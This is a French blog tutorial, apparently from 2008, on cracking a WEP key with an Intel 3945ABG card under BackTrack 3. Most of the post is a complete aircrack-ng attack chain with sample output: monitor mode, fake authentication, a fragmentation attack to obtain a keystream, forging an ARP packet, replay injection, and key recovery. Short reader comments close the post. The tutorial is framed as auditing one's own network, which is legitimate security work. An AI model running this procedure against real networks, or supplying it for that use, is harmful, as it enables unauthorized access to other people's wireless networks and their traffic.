Cracker une clé WEP avec une carte Intel Corporation PRO/Wireless 3945ABG

Le 21 décembre 2008 par John JEAN Laisser un commentaire »

Logo Wifi Pour les audits de sécurité informatique, je suis souvent amené à cracker des clés WEP. La distribution communément utilisée pour cela est BackTrack. Tout d’abord parce que c’est un LiveCD, mais également parce que les softs nécessaires à l’audit WiFi sont déjà compilés. Mon nouveau laptop dispose d’une carte Wifi Intel Corporation PRO/Wireless 3945ABG. J’ai googlé pour voir si un endroit recensait les méthodes d’attaques avec cette carte, et je n’ai pas trouvé de résultat pertinent. J’ai donc entrepris de rédiger un HowTo afin que cela puisse servir aux personnes moins expertes, en tout cas moins patientes et qui entreprendraient de tester la sécurité de leur réseau.

Il y a deux méthodes pour analyser les données: soit l’on se contente de sniffer passivement, soit on utilise une attaque par framentation qui permet d’injecter des packets et donc de réduire considérablement le temps de sniffing. A noter que BackTrack 3 optimise assez largement les algos pour cracker, il n’est plus nécessaire d’avoir beaucoup d’IVs pour décrypter une clé WEP.

Après avoir booté sur le LiveCD, voici comment cela se présente:

// Tout d’abord on charge le driver pour la fameuse carte
bt ~ # modprobe -r iwl3945
bt ~ # modprobe ipwraw

// On la passe en mode monitor
bt ~ # airmon-ng start wifi0

// On va dans un premier temps rechercher les réseaux wifi actifs et ceux qui ont le plus de DATA qui transitent ainsi que la meilleur couverture. Les data correspondent aux IVs nécessaires à crackerla clé WEP.
bt ~ # airodump-ng wifi0

// Le but est de prendre celle qui a le plus de beacons, et lorsque l’on choisit celle-ci, on repère bien le channel, le BSSID et l’ESSID. Dans mon cas, supposons:
Channel: 11
BSSID: 00:01:02:03:04:05
ESSID: RESEAU-CRYPT

A partir d’ici on a grosso-modo les deux solutions en question, sniffer passivement, où bien injecter les fameuses données pour accélérer le processus. Si vous voyez d’emblé beaucoup de donnée transiter, sniffer + cracking peut potentiellement suffire.

// Je manque de patience, je vais réaliser une attaque par fragmentation pour injecter de nombreuses données. Tout d’abord, je vais m’auth sur le système distant (-e représente le SSID de la cible, -h représente l’adresse Mac source, généralement, nous):
bt ~ # aireplay-ng -1 0 -e RESEAU-CRYPT -h 05:04:03:02:01:00 wifi0

Généralement cette commande doit vous retourner:
bt ~ # aireplay-ng -1 0 -e RESEAU-CRYPT -h 05:04:03:02:01:00 wifi0
11:56:39 Waiting for beacon frame (ESSID: RESEAU-CRYPT) on channel 11
Found BSSID « 00:01:02:03:04:05″ to given ESSID « RESEAU-CRYPT ».

11:56:39 Sending Authentication Request (Open System) [ACK]
11:56:39 Authentication successful
11:56:39 Sending Association Request [ACK]
11:56:39 Association successful (AID: 1)

Cependant il arrive parfois que vous obteniez une erreur de ce type (si vous avez laissé le scan tourner par exemple).

bt ~ # aireplay-ng -1 0 -e RESEAU-CRYPT -h 05:04:03:02:01:00 wifi0
11:55:23 Waiting for beacon frame (ESSID: RESEAU-CRYPT) on channel 12
Found BSSID « 00:01:02:03:04:05″ to given ESSID « RESEAU-CRYPT ».
11:55:23 wifi0 is on channel 12, but the AP uses channel 11

Comment résolvons-nous cela ? Simplement en faisant la bascule sur la bonne interface:

bt ~ # airmon-ng start wifi0 11
wifi0 Centrino a/b/g ipwraw-ng (monitor mode enabled)

//Bien, après cet aparté, revenons à nos moutons. Vous en êtes normalement au 11:56:39 Association successful (AID: 1). Nous allons désormais générer une keystream valide afin de forger notre packet d’injection:

bt ~ # aireplay-ng -5 -e RESEAU-CRYPT wifi0
No source MAC (-h) specified. Using the device MAC (05:04:03:02:01:00)
11:57:55 Waiting for beacon frame (ESSID: RESEAU-CRYPT) on channel 11
Found BSSID « 00:01:02:03:04:05″ to given ESSID « RESEAU-CRYPT ».
11:57:55 Waiting for a data packet…
Read 2791 packets…

Size: 371, FromDS: 0, ToDS: 1 (WEP)

BSSID = 00:01:02:03:04:05
Dest. MAC = FF:FF:FF:FF:FF:FF
Source MAC = BLABLA

0×0000: 0841 3a01 0016 3810 7484 0013 ce8a 8259 .A:…8.t……Y
0×0010: ffff ffff ffff 1000 0100 0000 2f23 a566 …………/#.f
0×0020: 8a89 e333 2c18 02c2 0c65 fc79 7eb9 7398 …3,….e.y~.s.
0×0030: 42fc a81c e682 179c ac10 f1a3 d83e 3770 B…………>7p
0×0040: a3ff cb34 62e0 e232 3e17 8340 544b ee1d …4b..2>..@TK..
0×0050: f06c a543 3b51 05d6 bdb0 a10a a159 4fbd .l.C;Q…….YO.
0×0060: 2499 1efc 58b3 1cfc bc72 b109 a9ee 29b6 $…X….r….).
0×0070: 6234 b6d8 4b90 a3b0 a1ac f626 5603 82d9 b4..K……&V…
0×0080: 5d0e 27a1 453a f536 86b5 ee7c f73f 9bc1 ].’.E:.6…|.?..
0×0090: 2813 b8e4 a24c 3bce dc98 2be2 6a79 c313 (….L;…+.jy..
0×00a0: f530 7596 4430 958d 2406 de88 7664 481f .0u.D0..$…vdH.
0×00b0: 7cf2 c2ac 8211 a26f c217 1fd1 d30f 1949 |……o…….I
0×00c0: b12e 6507 cab2 6619 d6d8 9a1c a018 720c ..e…f…….r.
0×00d0: e004 2c4f 533b 1326 0c57 0006 2950 e468 ..,OS;.&.W..)P.h
— CUT —

Use this packet ? y

Saving chosen packet in replay_src-0726-115911.cap
11:59:20 Data packet found!
11:59:20 Sending fragmented packet
11:59:20 Got RELAYED packet!!
11:59:20 Trying to get 384 bytes of a keystream
11:59:20 Got RELAYED packet!!
11:59:20 Trying to get 1500 bytes of a keystream
11:59:20 Got RELAYED packet!!
Saving keystream in fragment-0726-115920.xor
Now you can build a packet with packetforge-ng out of that 1500 bytes keystream

//Maintenant que nous avons notre keystream, on change de soft le temps de générer le packet d’injection. Packetforge-ng est là pour ca.
//arp définit le type d’attaque
//-y passe le fragment à utiliser généré par airplay
//-a adresse MAC de la cible (BSSID)
//-h adresse MAC de l’attaquant
//-k notre adresse ip suppossée
//-l adresse ip supposée du routeur
//-w permet d’écrire le packet d’injection final
bt ~ # packetforge-ng –arp -y fragment-0726-115920.xor -a 00:01:02:03:04:05 -h 05:04:03:02:01:00 -k 192.168.1.100 -l 192.168.1.1 -w audit.cap
Wrote packet to: alice.cap

//Essayons maintenant d’injecter des données histoire de voir si tout a fonctionné:

bt ~ # aireplay-ng -3 -e RESEAU-CRYPT -h 05:04:03:02:01:00 -r audit.cap wifi0
12:04:07 Waiting for beacon frame (ESSID: RESEAU-CRYPT) on channel 11
Found BSSID « 00:01:02:03:04:05″ to given ESSID « RESEAU-CRYPT ».
Saving ARP requests in replay_arp-0726-120407.cap
You should also start airodump-ng to capture replies.
Read 5394 packets (got 2051 ARP requests and 3234 ACKs), sent 2652 packets…(500 pps)

Bien, tout fonctionne, à partir de maintenant, cracker la clé wep ne prendra pas plus de trois minutes. Il faut parfois se ré-authentifier avant de lancer l’injection de donnée. Vous pouvez stopper l’injection tout marche. Pour cracker définitivement la clé, cela se passe en trois temps:

// On sniffe l’interface sur laquelle nous avons travaillé:
bt ~ # airodump-ng -w capture –channel 11 wifi0

// Les datas ne bougent alors pas beaucoup. On injecte donc les données:
bt ~ # aireplay-ng -3 -e RESEAU-CRYPT -h 05:04:03:02:01:00 -r audit.cap wifi0

//Enfin, on lance, en parallèle à l’envoi de donnée, le crack du fichier dans lequel on écrit la capture. Ce n’est pas grave si lorsque vous lancez le crack il n’y a pas encore assez d’IVs, il est reloadé régulièrement.

bt ~ # aircrack-ng capture-01.cap
Opening capture-01.cap
Read 121863 packets.

# BSSID ESSID Encryption

1 RESEAU-CRYPT2 No data – WEP or WPA
2 RESEAU-CRYPT3 No data – WEP or WPA
3 00:01:02:03:04:05 RESEAU-CRYPT WEP (33689 IVs)
4 RESEAU-CRYPT4 No data – WEP or WPA
5 RESEAU-CRYPT5 None (0.0.0.0)
6 RESEAU-CRYPT6 No data – WEP or WPA
7 RESEAU-CRYPT7 No data – WEP or WPA

Index number of target network ? 3

// On selectionne le ESSID sur lequel on a travaillé, et là magie:

bt ~ # Aircrack-ng 1.0 rc1 r1085

[00:00:03] Tested 1339440 keys (got 33677 IVs)

KB depth byte(vote)
0 1/ 2 2C(40192) 5E(39424) A0(39424) A4(39424) DA(39168) 28(38912) 33(38912)
1 0/ 1 A6(47616) 30(41472) 15(40960) BF(40960) 35(40448) 42(40192) DE(39936)
2 0/ 1 FA(48640) DE(41216) 11(40192) B8(39936) 29(39680) 3F(39168) 68(39168)
3 0/ 1 BA(50432) 68(41216) 62(40704) EA(39936) ED(39936) BB(39680) 13(39424)
4 0/ 2 3E(44288) 9F(43264) 14(42752) 89(41216) A2(40960) 3E(40192) 7E(39680)
5 0/ 1 A0(46080) 6B(43264) 07(41472) 5F(41472) 0F(41216) DB(41216) EF(40448)
6 1/ 2 16(41984) 79(40448) 8E(40448) F1(39936) F2(39936) 66(39680) AB(39680)
7 0/ 2 7A(44032) 46(43264) 97(41984) 77(41216) 5A(39936) E0(39936) 18(39680)
8 0/ 1 75(45056) 75(42752) 67(41472) 34(40960) 08(40448) 87(40448) 15(40192)
9 0/ 1 F3(46336) 26(41216) E8(41216) 74(40960) C9(40448) CD(40448) 2B(39936)
10 17/ 10 E7(38400) 10(38144) 27(38144) 7A(38144) A8(38144) B1(38144) 4C(37888)
11 0/ 2 AB(46080) DD(45056) 98(41472) DC(41216) 26(40960) 3D(40960) 1A(40704)
12 0/ 1 A8(46080) 9A(41728) C7(41216) 00(39680) 1A(39168) 62(39168) CD(39168)

KEY FOUND! [blabla]
Decrypted correctly: 100%

Si les suites air* ne vous sont pas familières, je vous conseille d’aller vous balader par ici:
http://linux.die.net/man/1/airmon-ng
http://linux.die.net/man/1/airodump-ng
http://linux.die.net/man/1/aireplay-ng
http://linux.die.net/man/1/packetforge-ng
http://linux.die.net/man/1/aircrack-ng

5 commentaires

  1. aaa dit :

    Sauf qu’il faut déja télécharger les drivers permettant de faire du monitor ac cette carte

  2. John dit :

    Hello,

    Ils sont inclus d’office dans BackTrack 3 (LiveCD) :)

  3. littletux dit :

    Pour les plus fainéants, il y des modules backtrack nommés spoonwep et spoonwpa, avec une GUI !

Laisser un commentaire